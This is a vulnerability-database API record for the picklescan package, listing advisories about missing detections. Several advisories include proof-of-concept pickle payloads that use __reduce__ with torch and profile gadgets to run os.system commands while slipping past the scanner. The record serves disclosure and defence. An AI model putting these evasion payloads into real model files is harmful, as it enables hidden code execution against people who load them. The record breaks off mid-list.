Lookup for vulnerable packages by Package URL.

GET /api/packages/87019?format=api
HTTP 200 OK
Allow: GET, HEAD, OPTIONS
Content-Type: application/json
Vary: Accept

{
    "url": "http://public2.vulnerablecode.io/api/packages/87019?format=api",
    "purl": "pkg:pypi/picklescan@0.0.5",
    "type": "pypi",
    "namespace": "",
    "name": "picklescan",
    "version": "0.0.5",
    "qualifiers": {},
    "subpath": "",
    "is_vulnerable": true,
    "next_non_vulnerable_version": "1.0.4",
    "latest_non_vulnerable_version": "1.0.4",
    "affected_by_vulnerabilities": [
        {
            "url": "http://public2.vulnerablecode.io/api/vulnerabilities/97455?format=api",
            "vulnerability_id": "VCID-1cce-4mst-r7h4",
            "summary": "The unsafe globals in Picklescan before 0.0.25 do not include ssl. Consequently, ssl.get_server_certificate can exfiltrate data via DNS after deserialization.",
            "references": [
                {
                    "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2025-46417",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "0.00332",
                            "scoring_system": "epss",
                            "scoring_elements": "0.56581",
                            "published_at": "2026-06-12T12:55:00Z"
                        },
                        {
                            "value": "0.00332",
                            "scoring_system": "epss",
                            "scoring_elements": "0.56585",
                            "published_at": "2026-06-14T12:55:00Z"
                        },
                        {
                            "value": "0.00332",
                            "scoring_system": "epss",
                            "scoring_elements": "0.56596",
                            "published_at": "2026-06-13T12:55:00Z"
                        },
                        {
                            "value": "0.00332",
                            "scoring_system": "epss",
                            "scoring_elements": "0.56463",
                            "published_at": "2026-06-11T12:55:00Z"
                        }
                    ],
                    "url": "https://api.first.org/data/v1/epss?cve=CVE-2025-46417"
                },
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "7.1",
                            "scoring_system": "cvssv4",
                            "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"
                        },
                        {
                            "value": "HIGH",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan"
                },
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-93mv-x874-956g",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "HIGH",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        },
                        {
                            "value": "7.1",
                            "scoring_system": "cvssv4",
                            "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"
                        },
                        {
                            "value": "HIGH",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-93mv-x874-956g"
                },
                {
                    "reference_url": "https://github.com/pypa/advisory-database/tree/main/vulns/picklescan/PYSEC-2025-34.yaml",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "7.1",
                            "scoring_system": "cvssv4",
                            "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"
                        },
                        {
                            "value": "HIGH",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/pypa/advisory-database/tree/main/vulns/picklescan/PYSEC-2025-34.yaml"
                },
                {
                    "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2025-46417",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "7.1",
                            "scoring_system": "cvssv4",
                            "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"
                        },
                        {
                            "value": "HIGH",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-46417"
                },
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan/pull/40",
                    "reference_id": "40",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "6.8",
                            "scoring_system": "cvssv4",
                            "scoring_elements": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"
                        },
                        {
                            "value": "7.1",
                            "scoring_system": "cvssv4",
                            "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"
                        },
                        {
                            "value": "HIGH",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        },
                        {
                            "value": "Track",
                            "scoring_system": "ssvc",
                            "scoring_elements": "SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2025-04-24T14:50:58Z/"
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan/pull/40"
                },
                {
                    "reference_url": "https://github.com/advisories/GHSA-93mv-x874-956g",
                    "reference_id": "GHSA-93mv-x874-956g",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "HIGH",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        },
                        {
                            "value": "6.8",
                            "scoring_system": "cvssv4",
                            "scoring_elements": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"
                        },
                        {
                            "value": "Track",
                            "scoring_system": "ssvc",
                            "scoring_elements": "SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2025-04-24T14:50:58Z/"
                        }
                    ],
                    "url": "https://github.com/advisories/GHSA-93mv-x874-956g"
                }
            ],
            "fixed_packages": [
                {
                    "url": "http://public2.vulnerablecode.io/api/packages/87471?format=api",
                    "purl": "pkg:pypi/picklescan@0.0.25",
                    "is_vulnerable": true,
                    "affected_by_vulnerabilities": [
                        {
                            "vulnerability": "VCID-1cft-ke16-8kac"
                        },
                        {
                            "vulnerability": "VCID-357d-3wwy-aubk"
                        },
                        {
                            "vulnerability": "VCID-38pp-fqgk-bygf"
                        },
                        {
                            "vulnerability": "VCID-3ykn-199q-u3hf"
                        },
                        {
                            "vulnerability": "VCID-46rw-3mfv-67ad"
                        },
                        {
                            "vulnerability": "VCID-4nda-nuz6-gqgm"
                        },
                        {
                            "vulnerability": "VCID-555e-6p5m-xbbc"
                        },
                        {
                            "vulnerability": "VCID-6723-ghp7-yqd1"
                        },
                        {
                            "vulnerability": "VCID-6pqf-4qcr-ckac"
                        },
                        {
                            "vulnerability": "VCID-6smr-kf6r-53gc"
                        },
                        {
                            "vulnerability": "VCID-7dgj-c6cm-v3bt"
                        },
                        {
                            "vulnerability": "VCID-7jv5-uxzs-cucb"
                        },
                        {
                            "vulnerability": "VCID-83zm-7pnx-gkag"
                        },
                        {
                            "vulnerability": "VCID-8bj4-tmz9-gyau"
                        },
                        {
                            "vulnerability": "VCID-8fwp-rcz9-byam"
                        },
                        {
                            "vulnerability": "VCID-8q15-7ur4-kkde"
                        },
                        {
                            "vulnerability": "VCID-a31m-q2ca-w7em"
                        },
                        {
                            "vulnerability": "VCID-av36-fvk2-23be"
                        },
                        {
                            "vulnerability": "VCID-ay9k-cbe6-wye5"
                        },
                        {
                            "vulnerability": "VCID-b4zf-mwfc-53bm"
                        },
                        {
                            "vulnerability": "VCID-b8nm-k5xu-yfc8"
                        },
                        {
                            "vulnerability": "VCID-bepy-gm8w-83e5"
                        },
                        {
                            "vulnerability": "VCID-brvs-drts-rbay"
                        },
                        {
                            "vulnerability": "VCID-c3as-vdkf-4fem"
                        },
                        {
                            "vulnerability": "VCID-c5rh-vbqs-q7bp"
                        },
                        {
                            "vulnerability": "VCID-cj2u-dmaj-wbd4"
                        },
                        {
                            "vulnerability": "VCID-cq25-8mmm-3yfg"
                        },
                        {
                            "vulnerability": "VCID-cupp-7ca3-wfa6"
                        },
                        {
                            "vulnerability": "VCID-czzc-g8zx-1kbq"
                        },
                        {
                            "vulnerability": "VCID-d1k5-6npz-2kcg"
                        },
                        {
                            "vulnerability": "VCID-dsy5-2z6e-jqds"
                        },
                        {
                            "vulnerability": "VCID-e95k-rym7-a7bk"
                        },
                        {
                            "vulnerability": "VCID-fbng-xtyv-zqdf"
                        },
                        {
                            "vulnerability": "VCID-fkcx-bkmd-4bbe"
                        },
                        {
                            "vulnerability": "VCID-fsjg-pn1f-fqd6"
                        },
                        {
                            "vulnerability": "VCID-fvhz-kyju-qkg5"
                        },
                        {
                            "vulnerability": "VCID-fxc2-cr37-fuhg"
                        },
                        {
                            "vulnerability": "VCID-gbvh-fs1r-xqcw"
                        },
                        {
                            "vulnerability": "VCID-hg5h-54nq-bber"
                        },
                        {
                            "vulnerability": "VCID-hm3p-7t8t-bfb7"
                        },
                        {
                            "vulnerability": "VCID-jsfv-qjzd-87ck"
                        },
                        {
                            "vulnerability": "VCID-judk-maax-muc7"
                        },
                        {
                            "vulnerability": "VCID-k92s-yfxv-hqhr"
                        },
                        {
                            "vulnerability": "VCID-kne4-tcp8-m3c3"
                        },
                        {
                            "vulnerability": "VCID-n3yg-3gcp-nyc1"
                        },
                        {
                            "vulnerability": "VCID-p42h-2wne-j3ds"
                        },
                        {
                            "vulnerability": "VCID-pfmh-d33z-9ka8"
                        },
                        {
                            "vulnerability": "VCID-q3ju-z2ut-mkgx"
                        },
                        {
                            "vulnerability": "VCID-re4f-xefn-x7fb"
                        },
                        {
                            "vulnerability": "VCID-ssnp-77kf-qudn"
                        },
                        {
                            "vulnerability": "VCID-v5yc-uwn3-akbc"
                        },
                        {
                            "vulnerability": "VCID-vgyv-ps7z-x7gc"
                        },
                        {
                            "vulnerability": "VCID-zh4p-1c3k-j3g8"
                        },
                        {
                            "vulnerability": "VCID-zhdd-ck3x-pbh7"
                        },
                        {
                            "vulnerability": "VCID-zhzt-rnfn-73ab"
                        },
                        {
                            "vulnerability": "VCID-zxc5-cgwk-qbcn"
                        }
                    ],
                    "resource_url": "http://public2.vulnerablecode.io/packages/pkg:pypi/picklescan@0.0.25"
                }
            ],
            "aliases": [
                "CVE-2025-46417",
                "GHSA-93mv-x874-956g",
                "PYSEC-2025-34"
            ],
            "risk_score": 4.0,
            "exploitability": "0.5",
            "weighted_severity": "8.0",
            "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-1cce-4mst-r7h4"
        },
        {
            "url": "http://public2.vulnerablecode.io/api/vulnerabilities/360641?format=api",
            "vulnerability_id": "VCID-1cft-ke16-8kac",
            "summary": "Picklescan missing detection when calling pytorch function torch.fx.experimental.symbolic_shapes.ShapeEnv.evaluate_guards_expression\n### Summary\n\nUsing torch.fx.experimental.symbolic_shapes.ShapeEnv.evaluate_guards_expression function, which is a pytorch library function to execute remote pickle file.\n\n### Details\n\nThe attack payload executes in the following steps:\n\nFirst, the attacker craft the payload by calling to torch.fx.experimental.symbolic_shapes.ShapeEnv.evaluate_guards_expression function in reduce method\nThen when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.\n\n### PoC\n\n```\nimport types\nimport torch.fx.experimental.symbolic_shapes as symbolic_shapes\n\nclass EvilTorchFxSymbolicShapesEvaluateGuardsExpression:\n    def __reduce__(self):\n        fake_self = str\n        code = \"__import__('os').system('whoami')\"\n        args = []\n        return symbolic_shapes.ShapeEnv.evaluate_guards_expression, (fake_self, code, args)\n```\n\n### Impact\n\nWho is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.\nWhat is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.\nSupply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.\n\n### Corresponding\n\nhttps://github.com/FredericDT\nhttps://github.com/Qhaoduoyu",
            "references": [
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan"
                },
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan/commit/7f994d62084fe43f1cffdef2f9bae6923344ef53",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan/commit/7f994d62084fe43f1cffdef2f9bae6923344ef53"
                },
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan/pull/47",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan/pull/47"
                },
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan/releases/tag/v0.0.28",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan/releases/tag/v0.0.28"
                },
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-f4x7-rfwp-v3xw",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "MODERATE",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        },
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-f4x7-rfwp-v3xw"
                },
                {
                    "reference_url": "https://github.com/advisories/GHSA-f4x7-rfwp-v3xw",
                    "reference_id": "GHSA-f4x7-rfwp-v3xw",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "MODERATE",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/advisories/GHSA-f4x7-rfwp-v3xw"
                }
            ],
            "fixed_packages": [
                {
                    "url": "http://public2.vulnerablecode.io/api/packages/89080?format=api",
                    "purl": "pkg:pypi/picklescan@0.0.28",
                    "is_vulnerable": true,
                    "affected_by_vulnerabilities": [
                        {
                            "vulnerability": "VCID-357d-3wwy-aubk"
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                        {
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                        {
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                            "vulnerability": "VCID-8q15-7ur4-kkde"
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                        {
                            "vulnerability": "VCID-k92s-yfxv-hqhr"
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                        {
                            "vulnerability": "VCID-kne4-tcp8-m3c3"
                        },
                        {
                            "vulnerability": "VCID-n3yg-3gcp-nyc1"
                        },
                        {
                            "vulnerability": "VCID-p42h-2wne-j3ds"
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                        {
                            "vulnerability": "VCID-pfmh-d33z-9ka8"
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                        {
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                        {
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                        {
                            "vulnerability": "VCID-v5yc-uwn3-akbc"
                        },
                        {
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                        },
                        {
                            "vulnerability": "VCID-zh4p-1c3k-j3g8"
                        },
                        {
                            "vulnerability": "VCID-zhzt-rnfn-73ab"
                        },
                        {
                            "vulnerability": "VCID-zxc5-cgwk-qbcn"
                        }
                    ],
                    "resource_url": "http://public2.vulnerablecode.io/packages/pkg:pypi/picklescan@0.0.28"
                }
            ],
            "aliases": [
                "GHSA-f4x7-rfwp-v3xw"
            ],
            "risk_score": 3.1,
            "exploitability": "0.5",
            "weighted_severity": "6.2",
            "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-1cft-ke16-8kac"
        },
        {
            "url": "http://public2.vulnerablecode.io/api/vulnerabilities/360653?format=api",
            "vulnerability_id": "VCID-357d-3wwy-aubk",
            "summary": "Picklescan has a missing detection when calling built-in python profile.Profile.run\n### Summary\n\nUsing profile.Profile.run, which is a built-in python library function to execute remote pickle file.\n\n### Details\n\nThe attack payload executes in the following steps:\n\nFirst, the attacker craft the payload by calling to profile.Profile.run function in reduce method\nThen when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.\n\n### PoC\n\n```\nclass EvilProfileRun:\n    def __reduce__(self):\n        from profile import Profile\n        payload = \"__import__('os').system('whoami')\"\n        return Profile.run, (Profile(), payload)\n```\n\n### Impact\n\nWho is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.\nWhat is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.\nSupply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.\n\n### Corresponding\n\nhttps://github.com/FredericDT\nhttps://github.com/Qhaoduoyu",
            "references": [
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan"
                },
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan/commit/aecd11be98702caa9ba9b12189d91ad596a36114",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan/commit/aecd11be98702caa9ba9b12189d91ad596a36114"
                },
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-x696-vm39-cp64",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "MODERATE",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        },
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-x696-vm39-cp64"
                },
                {
                    "reference_url": "https://github.com/advisories/GHSA-x696-vm39-cp64",
                    "reference_id": "GHSA-x696-vm39-cp64",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "MODERATE",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/advisories/GHSA-x696-vm39-cp64"
                }
            ],
            "fixed_packages": [
                {
                    "url": "http://public2.vulnerablecode.io/api/packages/89081?format=api",
                    "purl": "pkg:pypi/picklescan@0.0.29",
                    "is_vulnerable": true,
                    "affected_by_vulnerabilities": [
                        {
                            "vulnerability": "VCID-38pp-fqgk-bygf"
                        },
                        {
                            "vulnerability": "VCID-46rw-3mfv-67ad"
                        },
                        {
                            "vulnerability": "VCID-8fwp-rcz9-byam"
                        },
                        {
                            "vulnerability": "VCID-8q15-7ur4-kkde"
                        },
                        {
                            "vulnerability": "VCID-a31m-q2ca-w7em"
                        },
                        {
                            "vulnerability": "VCID-ay9k-cbe6-wye5"
                        },
                        {
                            "vulnerability": "VCID-c5rh-vbqs-q7bp"
                        },
                        {
                            "vulnerability": "VCID-cq25-8mmm-3yfg"
                        },
                        {
                            "vulnerability": "VCID-czzc-g8zx-1kbq"
                        },
                        {
                            "vulnerability": "VCID-e95k-rym7-a7bk"
                        },
                        {
                            "vulnerability": "VCID-fkcx-bkmd-4bbe"
                        },
                        {
                            "vulnerability": "VCID-fvhz-kyju-qkg5"
                        },
                        {
                            "vulnerability": "VCID-fxc2-cr37-fuhg"
                        },
                        {
                            "vulnerability": "VCID-gbvh-fs1r-xqcw"
                        },
                        {
                            "vulnerability": "VCID-hg5h-54nq-bber"
                        },
                        {
                            "vulnerability": "VCID-jsfv-qjzd-87ck"
                        },
                        {
                            "vulnerability": "VCID-judk-maax-muc7"
                        },
                        {
                            "vulnerability": "VCID-k92s-yfxv-hqhr"
                        },
                        {
                            "vulnerability": "VCID-p42h-2wne-j3ds"
                        },
                        {
                            "vulnerability": "VCID-pfmh-d33z-9ka8"
                        },
                        {
                            "vulnerability": "VCID-q3ju-z2ut-mkgx"
                        },
                        {
                            "vulnerability": "VCID-re4f-xefn-x7fb"
                        },
                        {
                            "vulnerability": "VCID-ssnp-77kf-qudn"
                        },
                        {
                            "vulnerability": "VCID-vgyv-ps7z-x7gc"
                        },
                        {
                            "vulnerability": "VCID-zh4p-1c3k-j3g8"
                        },
                        {
                            "vulnerability": "VCID-zhzt-rnfn-73ab"
                        }
                    ],
                    "resource_url": "http://public2.vulnerablecode.io/packages/pkg:pypi/picklescan@0.0.29"
                }
            ],
            "aliases": [
                "GHSA-x696-vm39-cp64"
            ],
            "risk_score": 3.1,
            "exploitability": "0.5",
            "weighted_severity": "6.2",
            "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-357d-3wwy-aubk"
        },
        {
            "url": "http://public2.vulnerablecode.io/api/vulnerabilities/212457?format=api",
            "vulnerability_id": "VCID-38pp-fqgk-bygf",
            "summary": "Picklescan is vulnerable to RCE through missing detection when calling numpy.f2py.crackfortran.myeval",
            "references": [
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "7.4",
                            "scoring_system": "cvssv4",
                            "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P"
                        },
                        {
                            "value": "HIGH",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan"
                },
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan/commit/70c1c6c31beb6baaf52c8db1b6c3c0e84a6f9dab",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "7.4",
                            "scoring_system": "cvssv4",
                            "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P"
                        },
                        {
                            "value": "HIGH",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan/commit/70c1c6c31beb6baaf52c8db1b6c3c0e84a6f9dab"
                },
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan/pull/53",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "7.4",
                            "scoring_system": "cvssv4",
                            "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P"
                        },
                        {
                            "value": "HIGH",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan/pull/53"
                },
                {
                    "reference_url": "https://github.com/advisories/GHSA-3329-ghmp-jmv5",
                    "reference_id": "GHSA-3329-ghmp-jmv5",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "HIGH",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/advisories/GHSA-3329-ghmp-jmv5"
                },
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-3329-ghmp-jmv5",
                    "reference_id": "GHSA-3329-ghmp-jmv5",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "HIGH",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        },
                        {
                            "value": "7.4",
                            "scoring_system": "cvssv4",
                            "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P"
                        },
                        {
                            "value": "HIGH",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-3329-ghmp-jmv5"
                }
            ],
            "fixed_packages": [
                {
                    "url": "http://public2.vulnerablecode.io/api/packages/36380?format=api",
                    "purl": "pkg:pypi/picklescan@0.0.33",
                    "is_vulnerable": true,
                    "affected_by_vulnerabilities": [
                        {
                            "vulnerability": "VCID-8fwp-rcz9-byam"
                        },
                        {
                            "vulnerability": "VCID-8q15-7ur4-kkde"
                        },
                        {
                            "vulnerability": "VCID-ay9k-cbe6-wye5"
                        },
                        {
                            "vulnerability": "VCID-c5rh-vbqs-q7bp"
                        },
                        {
                            "vulnerability": "VCID-cq25-8mmm-3yfg"
                        },
                        {
                            "vulnerability": "VCID-czzc-g8zx-1kbq"
                        },
                        {
                            "vulnerability": "VCID-fkcx-bkmd-4bbe"
                        },
                        {
                            "vulnerability": "VCID-k92s-yfxv-hqhr"
                        },
                        {
                            "vulnerability": "VCID-pfmh-d33z-9ka8"
                        }
                    ],
                    "resource_url": "http://public2.vulnerablecode.io/packages/pkg:pypi/picklescan@0.0.33"
                }
            ],
            "aliases": [
                "GHSA-3329-ghmp-jmv5"
            ],
            "risk_score": 4.0,
            "exploitability": "0.5",
            "weighted_severity": "8.0",
            "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-38pp-fqgk-bygf"
        },
        {
            "url": "http://public2.vulnerablecode.io/api/vulnerabilities/360657?format=api",
            "vulnerability_id": "VCID-3ykn-199q-u3hf",
            "summary": "Picklescan missing detection when calling pytorch function torch.jit.unsupported_tensor_ops.execWrapper\n### Summary\n\nUsing torch.jit.unsupported_tensor_ops.execWrapper function, which is a pytorch library function to execute remote pickle file.\n\n### Details\n\nThe attack payload executes in the following steps:\n\nFirst, the attacker craft the payload by calling to torch.jit.unsupported_tensor_ops.execWrapper function in reduce method\nThen when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.\n\n### PoC\n\n```\n\nimport torch.jit.unsupported_tensor_ops as unsupported_tensor_ops\n\nclass EvilTorchJitUnsupportedTensorOpsExecWrapper:\n    def __reduce__(self):\n        code = '__import__(\"os\").system(\"whoami\")'\n        glob = {}\n        loc = {}\n        return unsupported_tensor_ops.execWrapper, (code, glob, loc)\n```\n\n### Impact\n\nWho is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.\nWhat is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.\nSupply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.\n\n### Corresponding\n\nhttps://github.com/FredericDT\nhttps://github.com/Qhaoduoyu",
            "references": [
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan"
                },
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan/commit/7f994d62084fe43f1cffdef2f9bae6923344ef53",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan/commit/7f994d62084fe43f1cffdef2f9bae6923344ef53"
                },
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan/pull/47",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan/pull/47"
                },
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan/releases/tag/v0.0.28",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan/releases/tag/v0.0.28"
                },
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-vr7h-p6mm-wpmh",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "MODERATE",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        },
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-vr7h-p6mm-wpmh"
                },
                {
                    "reference_url": "https://github.com/advisories/GHSA-vr7h-p6mm-wpmh",
                    "reference_id": "GHSA-vr7h-p6mm-wpmh",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "MODERATE",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/advisories/GHSA-vr7h-p6mm-wpmh"
                }
            ],
            "fixed_packages": [
                {
                    "url": "http://public2.vulnerablecode.io/api/packages/89080?format=api",
                    "purl": "pkg:pypi/picklescan@0.0.28",
                    "is_vulnerable": true,
                    "affected_by_vulnerabilities": [
                        {
                            "vulnerability": "VCID-357d-3wwy-aubk"
                        },
                        {
                            "vulnerability": "VCID-38pp-fqgk-bygf"
                        },
                        {
                            "vulnerability": "VCID-46rw-3mfv-67ad"
                        },
                        {
                            "vulnerability": "VCID-4nda-nuz6-gqgm"
                        },
                        {
                            "vulnerability": "VCID-555e-6p5m-xbbc"
                        },
                        {
                            "vulnerability": "VCID-6723-ghp7-yqd1"
                        },
                        {
                            "vulnerability": "VCID-6pqf-4qcr-ckac"
                        },
                        {
                            "vulnerability": "VCID-6smr-kf6r-53gc"
                        },
                        {
                            "vulnerability": "VCID-7dgj-c6cm-v3bt"
                        },
                        {
                            "vulnerability": "VCID-7jv5-uxzs-cucb"
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                        {
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                        {
                            "vulnerability": "VCID-8q15-7ur4-kkde"
                        },
                        {
                            "vulnerability": "VCID-a31m-q2ca-w7em"
                        },
                        {
